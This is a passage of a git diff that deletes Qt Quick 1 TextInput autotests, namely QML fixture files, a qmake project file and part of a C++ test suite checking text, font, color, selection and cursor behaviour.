a/tests/auto/qtquick1/qdeclarativetextinput/data/inputmethods.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/inputmethods.qml deleted file mode 100644 index 5063892306..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/inputmethods.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextInput { - text: "Hello world!" - inputMethodHints: Qt.ImhNoPredictiveText - Keys.onLeftPressed: {} -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/masks.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/masks.qml deleted file mode 100644 index c75764af91..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/masks.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextInput{ - focus: true - objectName: "myInput" - inputMask: "HHHHhhhh; " -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/maxLength.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/maxLength.qml deleted file mode 100644 index 95902bb687..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/maxLength.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextInput{ - focus: true - objectName: "myInput" - maximumLength: 10 -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_default.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_default.qml deleted file mode 100644 index eea83ed035..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_default.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: false -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_false.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_false.qml deleted file mode 100644 index eea83ed035..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_false.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: false -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_false_readonly.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_false_readonly.qml deleted file mode 100644 index 36a95634e3..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_false_readonly.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: false - readOnly: true -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_false_words.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_false_words.qml deleted file mode 100644 index eea83ed035..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_false_words.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: false -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_true.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_true.qml deleted file mode 100644 index 8115ba05e3..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_true.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_true_readonly.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_true_readonly.qml deleted file mode 100644 index 678a89aa8b..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_true_readonly.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true - readOnly: true -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_true_words.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_true_words.qml deleted file mode 100644 index 8115ba05e3..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselection_true_words.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselectionmode_characters.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselectionmode_characters.qml deleted file mode 100644 index 0ffc6ff225..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselectionmode_characters.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.1 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true - mouseSelectionMode: TextInput.SelectCharacters -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselectionmode_default.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselectionmode_default.qml deleted file mode 100644 index 87c174be14..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselectionmode_default.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.1 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselectionmode_words.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselectionmode_words.qml deleted file mode 100644 index df69a7d042..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/mouseselectionmode_words.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.1 - -TextInput { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true - mouseSelectionMode: TextInput.SelectWords -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/navigation.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/navigation.qml deleted file mode 100644 index af1b14090e..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/navigation.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property variant myInput: input - - width: 800; height: 600; color: "blue" - - Item { - id: firstItem; - KeyNavigation.right: input - } - - TextInput { id: input; focus: true - text: "Needs some text" - KeyNavigation.left: firstItem - KeyNavigation.right: lastItem - KeyNavigation.up: firstItem - KeyNavigation.down: lastItem - } - Item { - id: lastItem - KeyNavigation.left: input - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/positionAt.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/positionAt.qml deleted file mode 100644 index cbbf33d9fd..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/positionAt.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -TextInput{ - focus: true - objectName: "myInput" - width: 50 - text: "This is a long piece of text" -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/readOnly.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/readOnly.qml deleted file mode 100644 index f173649ef5..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/readOnly.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property variant myInput: input - - width: 800; height: 600; color: "blue" - - TextInput { id: input; focus: true - readOnly: true - text: "I am the very model of a modern major general.\n" - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/validators.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/validators.qml deleted file mode 100644 index e26bcb30e6..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/validators.qml +++ /dev/null @@ -1,22 +0,0 @@ -import QtQuick 1.0 - -Item { - property variant intInput: intInput - property variant dblInput: dblInput - property variant strInput: strInput - - width: 800; height: 600; - - Column{ - TextInput { id: intInput; - validator: IntValidator{top: 11; bottom: 2} - } - TextInput { id: dblInput; - validator: DoubleValidator{top: 12.12; bottom: 2.93; decimals: 2; notation: DoubleValidator.StandardNotation} - } - TextInput { id: strInput; - validator: RegExpValidator { regExp: /[a-zA-z]{2,4}/ } - } - } - -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/qdeclarativetextinput.pro b/tests/auto/qtquick1/qdeclarativetextinput/qdeclarativetextinput.pro deleted file mode 100644 index 655c4a27a1..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/qdeclarativetextinput.pro +++ /dev/null @@ -1,9 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativetextinput -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativetextinput.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/qtquick1/qdeclarativetextinput/tst_qdeclarativetextinput.cpp deleted file mode 100644 index ece6818071..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ /dev/null @@ -1,2752 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "../../shared/platforminputcontext.h" - -#include "qplatformdefs.h" - -Q_DECLARE_METATYPE(QDeclarative1TextInput::SelectionMode) - -QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual) -{ - // XXX This will be replaced by some clever persistent platform image store. - QString persistent_dir = SRCDIR "/data"; - QString arch = "unknown-architecture"; // QTest needs to help with this. - - QString expectfile = persistent_dir + QDir::separator() + filebasename + "-" + arch + ".png"; - - if (!QFile::exists(expectfile)) { - actual.save(expectfile); - qWarning() << "created" << expectfile; - } - - return expectfile; -} - -void sendPreeditText(const QString &text, int cursor) -{ - QList attributes; - attributes.append(QInputMethodEvent::Attribute(QInputMethodEvent::Cursor, cursor, - text.length(), QVariant())); - QInputMethodEvent event(text, attributes); - QApplication::sendEvent(qApp->focusObject(), &event); -} - - -class tst_qdeclarativetextinput : public QObject - -{ - Q_OBJECT -public: - tst_qdeclarativetextinput(); - -private slots: - void cleanup(); - - void text(); - void width(); - void font(); - void color(); - void selection(); - void isRightToLeft_data(); - void isRightToLeft(); - void moveCursorSelection_data(); - void moveCursorSelection(); - void moveCursorSelectionSequence_data(); - void moveCursorSelectionSequence(); - void mouseSelection_data(); - void mouseSelection(); - void deferEnableSelectByMouse_data(); - void deferEnableSelectByMouse(); - void deferDisableSelectByMouse_data(); - void deferDisableSelectByMouse(); - void dragMouseSelection(); - void mouseSelectionMode_data(); - void mouseSelectionMode(); - - void horizontalAlignment_data(); - void horizontalAlignment(); - void horizontalAlignment_RightToLeft(); - - void positionAt(); - - void maxLength(); - void masks(); - void validators(); - void inputMethods(); - - void passwordCharacter(); - void cursorDelegate(); - void cursorVisible(); - void cursorRectangle(); - void navigation(); - void navigation_RTL(); - void copyAndPaste(); - void canPasteEmpty(); - void canPaste(); - void readOnly(); - - void openInputPanelOnClick(); - void openInputPanelOnFocus(); - void setHAlignClearCache(); - void focusOutClearSelection(); - - void echoMode(); -#ifdef QT_GUI_PASSWORD_ECHO_DELAY - void passwordEchoDelay(); -#endif - void geometrySignals(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - - void preeditAutoScroll(); - void preeditMicroFocus(); - void inputContextMouseHandler(); - void inputMethodComposing(); - void cursorRectangleSize(); - -private: - void simulateKey(QDeclarativeView *, int key); - QDeclarativeView *createView(const QString &filename); - - QDeclarativeEngine engine; - QStringList standard; - QStringList colorStrings; -}; - - -tst_qdeclarativetextinput::tst_qdeclarativetextinput() -{ - standard << "the quick brown fox jumped over the lazy dog" - << "It's supercalifragisiticexpialidocious!" - << "Hello, world!" - << "!dlrow ,olleH" - << " spacey text "; - - colorStrings << "aliceblue" - << "antiquewhite" - << "aqua" - << "darkkhaki" - << "darkolivegreen" - << "dimgray" - << "palevioletred" - << "lightsteelblue" - << "#000000" - << "#AAAAAA" - << "#FFFFFF" - << "#2AC05F"; -} - -void tst_qdeclarativetextinput::cleanup() -{ - // ensure not even skipped tests with custom input context leave it dangling - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = 0; -} - -void tst_qdeclarativetextinput::text() -{ - { - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData("import QtQuick 1.0\nTextInput { text: \"\" }", QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->text(), QString("")); - - delete textinputObject; - } - - for (int i = 0; i < standard.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextInput { text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->text(), standard.at(i)); - - delete textinputObject; - } - -} - -void tst_qdeclarativetextinput::width() -{ - // uses Font metrics to find the width for standard - { - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData("import QtQuick 1.0\nTextInput { text: \"\" }", QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->width(), 0.0); - - delete textinputObject; - } - - for (int i = 0; i < standard.size(); i++) - { - QFont f; - QFontMetricsF fm(f); - qreal metricWidth = fm.width(standard.at(i)); - - QString componentStr = "import QtQuick 1.0\nTextInput { text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - int delta = abs(int(int(textinputObject->width()) - metricWidth)); - QVERIFY(delta <= 3.0); // As best as we can hope for cross-platform. - - delete textinputObject; - } -} - -void tst_qdeclarativetextinput::font() -{ - //test size, then bold, then italic, then family - { - QString componentStr = "import QtQuick 1.0\nTextInput { font.pointSize: 40; text: \"Hello World\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->font().pointSize(), 40); - QCOMPARE(textinputObject->font().bold(), false); - QCOMPARE(textinputObject->font().italic(), false); - - delete textinputObject; - } - - { - QString componentStr = "import QtQuick 1.0\nTextInput { font.bold: true; text: \"Hello World\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->font().bold(), true); - QCOMPARE(textinputObject->font().italic(), false); - - delete textinputObject; - } - - { - QString componentStr = "import QtQuick 1.0\nTextInput { font.italic: true; text: \"Hello World\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->font().italic(), true); - QCOMPARE(textinputObject->font().bold(), false); - - delete textinputObject; - } - - { - QString componentStr = "import QtQuick 1.0\nTextInput { font.family: \"Helvetica\"; text: \"Hello World\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->font().family(), QString("Helvetica")); - QCOMPARE(textinputObject->font().bold(), false); - QCOMPARE(textinputObject->font().italic(), false); - - delete textinputObject; - } - - { - QString componentStr = "import QtQuick 1.0\nTextInput { font.family: \"\"; text: \"Hello World\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->font().family(), QString("")); - - delete textinputObject; - } -} - -void tst_qdeclarativetextinput::color() -{ - //test color - for (int i = 0; i < colorStrings.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextInput { color: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->color(), QColor(colorStrings.at(i))); - - delete textinputObject; - } - - //test selection color - for (int i = 0; i < colorStrings.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextInput { selectionColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->selectionColor(), QColor(colorStrings.at(i))); - - delete textinputObject; - } - - //test selected text color - for (int i = 0; i < colorStrings.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextInput { selectedTextColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->selectedTextColor(), QColor(colorStrings.at(i))); - - delete textinputObject; - } - - { - QString colorStr = "#AA001234"; - QColor testColor("#001234"); - testColor.setAlpha(170); - - QString componentStr = "import QtQuick 1.0\nTextInput { color: \"" + colorStr + "\"; text: \"Hello World\" }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - - QVERIFY(textinputObject != 0); - QCOMPARE(textinputObject->color(), testColor); - - delete textinputObject; - } -} - -void tst_qdeclarativetextinput::selection() -{ - QString testStr = standard[0]; - QString componentStr = "import QtQuick 1.0\nTextInput { text: \""+ testStr +"\"; }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - QVERIFY(textinputObject != 0); - - - //Test selection follows cursor - for(int i=0; i<= testStr.size(); i++) { - textinputObject->setCursorPosition(i); - QCOMPARE(textinputObject->cursorPosition(), i); - QCOMPARE(textinputObject->selectionStart(), i); - QCOMPARE(textinputObject->selectionEnd(), i); - QVERIFY(textinputObject->selectedText().isNull()); - } - //Test cursor follows selection - for(int i=0; i<= testStr.size(); i++) { - textinputObject->select(i,i); - QCOMPARE(textinputObject->cursorPosition(), i); - QCOMPARE(textinputObject->selectionStart(), i); - QCOMPARE(textinputObject->selectionEnd(), i); - } - - textinputObject->setCursorPosition(0); - QVERIFY(textinputObject->cursorPosition() == 0); - QVERIFY(textinputObject->selectionStart() == 0); - QVERIFY(textinputObject->selectionEnd() == 0); - QVERIFY(textinputObject->selectedText().isNull()); - - // Verify invalid positions are ignored. - textinputObject->setCursorPosition(-1); - QVERIFY(textinputObject->cursorPosition() == 0); - QVERIFY(textinputObject->selectionStart() == 0); - QVERIFY(textinputObject->selectionEnd() == 0); - QVERIFY(textinputObject->selectedText().isNull()); - - textinputObject->setCursorPosition(textinputObject->text().count()+1); - QVERIFY(textinputObject->cursorPosition() == 0); - QVERIFY(textinputObject->selectionStart() == 0); - QVERIFY(textinputObject->selectionEnd() == 0); - QVERIFY(textinputObject->selectedText().isNull()); - - //Test selection - for(int i=0; i<= testStr.size(); i++) { - textinputObject->select(0,i); - QCOMPARE(testStr.mid(0,i), textinputObject->selectedText()); - QCOMPARE(textinputObject->cursorPosition(), i); - } - for(int i=0; i<= testStr.size(); i++) { - textinputObject->select(i,testStr.size()); - QCOMPARE(testStr.mid(i,testStr.size()-i), textinputObject->selectedText()); - QCOMPARE(textinputObject->cursorPosition(), testStr.size()); - } - - textinputObject->setCursorPosition(0); - QVERIFY(textinputObject->cursorPosition() == 0); - QVERIFY(textinputObject->selectionStart() == 0); - QVERIFY(textinputObject->selectionEnd() == 0); - QVERIFY(textinputObject->selectedText().isNull()); - - //Test Error Ignoring behaviour - textinputObject->setCursorPosition(0); - QVERIFY(textinputObject->selectedText().isNull()); - textinputObject->select(-10,0); - QVERIFY(textinputObject->selectedText().isNull()); - textinputObject->select(100,110); - QVERIFY(textinputObject->selectedText().isNull()); - textinputObject->select(0,-10); - QVERIFY(textinputObject->selectedText().isNull()); - textinputObject->select(0,100); - QVERIFY(textinputObject->selectedText().isNull()); - textinputObject->select(0,10); - QVERIFY(textinputObject->selectedText().size() == 10); - textinputObject->select(-10,10); - QVERIFY(textinputObject->selectedText().size() == 10); - textinputObject->select(100,101); - QVERIFY(textinputObject->selectedText().size() == 10); - textinputObject->select(0,-10); - QVERIFY(textinputObject->selectedText().size() == 10); - textinputObject->select(0,100); - QVERIFY(textinputObject->selectedText().size() == 10); - - textinputObject->deselect(); - QVERIFY(textinputObject->selectedText().isNull()); - textinputObject->select(0,10); - QVERIFY(textinputObject->selectedText().size() == 10); - textinputObject->deselect(); - QVERIFY(textinputObject->selectedText().isNull()); - - delete textinputObject; -} - -void tst_qdeclarativetextinput::isRightToLeft_data() -{ - QTest::addColumn("text"); - QTest::addColumn("emptyString"); - QTest::addColumn("firstCharacter"); - QTest::addColumn("lastCharacter"); - QTest::addColumn("middleCharacter"); - QTest::addColumn("startString"); - QTest::addColumn("midString"); - QTest::addColumn("endString"); - - const quint16 arabic_str[] = { 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0647}; - QTest::newRow("Empty") << "" << false << false << false << false << false << false << false; - QTest::newRow("Neutral") << "23244242" << false << false << false << false << false << false << false; - QTest::newRow("LTR") << "Hello world" << false << false << false << false << false << false << false; - QTest::newRow("RTL") << QString::fromUtf16(arabic_str, 11) << false << true << true << true << true << true << true; - QTest::newRow("Bidi RTL + LTR + RTL") << QString::fromUtf16(arabic_str, 11) + QString("Hello world") + QString::fromUtf16(arabic_str, 11) << false << true << true << false << true << true << true; - QTest::newRow("Bidi LTR + RTL + LTR") << QString("Hello world") + QString::fromUtf16(arabic_str, 11) + QString("Hello world") << false << false << false << true << false << false << false; -} - -void tst_qdeclarativetextinput::isRightToLeft() -{ - QFETCH(QString, text); - QFETCH(bool, emptyString); - QFETCH(bool, firstCharacter); - QFETCH(bool, lastCharacter); - QFETCH(bool, middleCharacter); - QFETCH(bool, startString); - QFETCH(bool, midString); - QFETCH(bool, endString); - - QDeclarative1TextInput textInput; - textInput.setText(text); - - // first test that the right string is delivered to the QString::isRightToLeft() - QCOMPARE(textInput.isRightToLeft(0,0), text.mid(0,0).isRightToLeft()); - QCOMPARE(textInput.isRightToLeft(0,1), text.mid(0,1).isRightToLeft()); - QCOMPARE(textInput.isRightToLeft(text.count()-2, text.count()-1), text.mid(text.count()-2, text.count()-1).isRightToLeft()); - QCOMPARE(textInput.isRightToLeft(text.count()/2, text.count()/2 + 1), text.mid(text.count()/2, text.count()/2 + 1).isRightToLeft()); - QCOMPARE(textInput.isRightToLeft(0,text.count()/4), text.mid(0,text.count()/4).isRightToLeft()); - QCOMPARE(textInput.isRightToLeft(text.count()/4,3*text.count()/4), text.mid(text.count()/4,3*text.count()/4).isRightToLeft()); - if (text.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, ": QML TextInput: isRightToLeft(start, end) called with the end property being smaller than the start."); - QCOMPARE(textInput.isRightToLeft(3*text.count()/4,text.count()-1), text.mid(3*text.count()/4,text.count()-1).isRightToLeft()); - - // then test that the feature actually works - QCOMPARE(textInput.isRightToLeft(0,0), emptyString); - QCOMPARE(textInput.isRightToLeft(0,1), firstCharacter); - QCOMPARE(textInput.isRightToLeft(text.count()-2, text.count()-1), lastCharacter); - QCOMPARE(textInput.isRightToLeft(text.count()/2, text.count()/2 + 1), middleCharacter); - QCOMPARE(textInput.isRightToLeft(0,text.count()/4), startString); - QCOMPARE(textInput.isRightToLeft(text.count()/4,3*text.count()/4), midString); - if (text.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, ": QML TextInput: isRightToLeft(start, end) called with the end property being smaller than the start."); - QCOMPARE(textInput.isRightToLeft(3*text.count()/4,text.count()-1), endString); -} - -void tst_qdeclarativetextinput::moveCursorSelection_data() -{ - QTest::addColumn("testStr"); - QTest::addColumn("cursorPosition"); - QTest::addColumn("movePosition"); - QTest::addColumn("mode"); - QTest::addColumn("selectionStart"); - QTest::addColumn("selectionEnd"); - QTest::addColumn("reversible"); - - // () contains the text selected by the cursor. - // <> contains the actual selection. - - QTest::newRow("(t)he|characters") - << standard[0] << 0 << 1 << QDeclarative1TextInput::SelectCharacters << 0 << 1 << true; - QTest::newRow("do(g)|characters") - << standard[0] << 43 << 44 << QDeclarative1TextInput::SelectCharacters << 43 << 44 << true; - QTest::newRow("jum(p)ed|characters") - << standard[0] << 23 << 24 << QDeclarative1TextInput::SelectCharacters << 23 << 24 << true; - QTest::newRow("jumped( )over|characters") - << standard[0] << 26 << 27 << QDeclarative1TextInput::SelectCharacters << 26 << 27 << true; - QTest::newRow("(the )|characters") - << standard[0] << 0 << 4 << QDeclarative1TextInput::SelectCharacters << 0 << 4 << true; - QTest::newRow("( dog)|characters") - << standard[0] << 40 << 44 << QDeclarative1TextInput::SelectCharacters << 40 << 44 << true; - QTest::newRow("( jumped )|characters") - << standard[0] << 19 << 27 << QDeclarative1TextInput::SelectCharacters << 19 << 27 << true; - QTest::newRow("th(e qu)ick|characters") - << standard[0] << 2 << 6 << QDeclarative1TextInput::SelectCharacters << 2 << 6 << true; - QTest::newRow("la(zy d)og|characters") - << standard[0] << 38 << 42 << QDeclarative1TextInput::SelectCharacters << 38 << 42 << true; - QTest::newRow("jum(ped ov)er|characters") - << standard[0] << 23 << 29 << QDeclarative1TextInput::SelectCharacters << 23 << 29 << true; - QTest::newRow("()the|characters") - << standard[0] << 0 << 0 << QDeclarative1TextInput::SelectCharacters << 0 << 0 << true; - QTest::newRow("dog()|characters") - << standard[0] << 44 << 44 << QDeclarative1TextInput::SelectCharacters << 44 << 44 << true; - QTest::newRow("jum()ped|characters") - << standard[0] << 23 << 23 << QDeclarative1TextInput::SelectCharacters << 23 << 23 << true; - - QTest::newRow("<(t)he>|words") - << standard[0] << 0 << 1 << QDeclarative1TextInput::SelectWords << 0 << 3 << true; - QTest::newRow("|words") - << standard[0] << 43 << 44 << QDeclarative1TextInput::SelectWords << 41 << 44 << true; - QTest::newRow("|words") - << standard[0] << 23 << 24 << QDeclarative1TextInput::SelectWords << 20 << 26 << true; - QTest::newRow("over|words,ltr") - << standard[0] << 26 << 27 << QDeclarative1TextInput::SelectWords << 20 << 27 << false; - QTest::newRow("jumped<( )over>|words,rtl") - << standard[0] << 27 << 26 << QDeclarative1TextInput::SelectWords << 26 << 31 << false; - QTest::newRow("<(the )>quick|words,ltr") - << standard[0] << 0 << 4 << QDeclarative1TextInput::SelectWords << 0 << 4 << false; - QTest::newRow("<(the )quick>|words,rtl") - << standard[0] << 4 << 0 << QDeclarative1TextInput::SelectWords << 0 << 9 << false; - QTest::newRow("|words,ltr") - << standard[0] << 40 << 44 << QDeclarative1TextInput::SelectWords << 36 << 44 << false; - QTest::newRow("lazy<( dog)>|words,rtl") - << standard[0] << 44 << 40 << QDeclarative1TextInput::SelectWords << 40 << 44 << false; - QTest::newRow("over|words,ltr") - << standard[0] << 19 << 27 << QDeclarative1TextInput::SelectWords << 16 << 27 << false; - QTest::newRow("fox<( jumped )over>|words,rtl") - << standard[0] << 27 << 19 << QDeclarative1TextInput::SelectWords << 19 << 31 << false; - QTest::newRow("|words") - << standard[0] << 2 << 6 << QDeclarative1TextInput::SelectWords << 0 << 